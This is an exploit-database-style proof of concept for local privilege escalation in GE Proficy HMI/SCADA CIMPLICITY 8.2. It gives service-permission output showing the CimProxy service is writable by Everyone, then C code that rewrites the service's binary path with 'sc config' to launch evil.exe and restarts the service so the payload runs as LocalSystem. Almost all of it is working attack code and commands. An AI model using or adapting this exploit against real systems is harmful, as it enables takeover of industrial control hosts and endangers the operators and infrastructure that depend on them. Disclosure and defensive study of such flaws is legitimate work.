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/*
# Exploit Title: GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)
# Vulnerability Discovery and Exploit Author: Zhou Yu
# Email: <504137480@qq.com>
# Version: 8.2
# Tested on: Windows 7 SP1 X32
# CVE : None
Vulnerability Description:
SERVICE_CHANGE_CONFIG Privilege Escalation
C:\Users\lenovo\Desktop\AccessChk>accesschk.exe -q -v -c CimProxy
CimProxy
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
SERVICE_ALL_ACCESS
C:\Users\lenovo\Desktop\AccessChk>sc qc CimProxy
[SC] QueryServiceConfig �ɹ�
SERVICE_NAME: CimProxy
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Proficy\Proficy CIMPLICITY\exe\Cim
Proxy.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : CIMPLICITY Proxy Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Usage:
Put evil.exe and the exploit in the same folder and then run the exploit.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
void main()
{
char szPath[MAX_PATH];
char *t;
GetModuleFileName(NULL,szPath,MAX_PATH);
t = strrchr(szPath, 0x5C);
t[0] = '\\';
t[1] = '\0';
strcat(szPath,"evil.exe\"");
char t1[] = "\"cmd.exe /c ";
char payload[] = "sc config CimProxy binPath= ";
strcat(t1,szPath);
strcat(payload,t1);
system(payload);
//stop service
printf("stop service!\n");
system("net stop CimProxy");
//start service
printf("start service!\n");
system("net start CimProxy");
}
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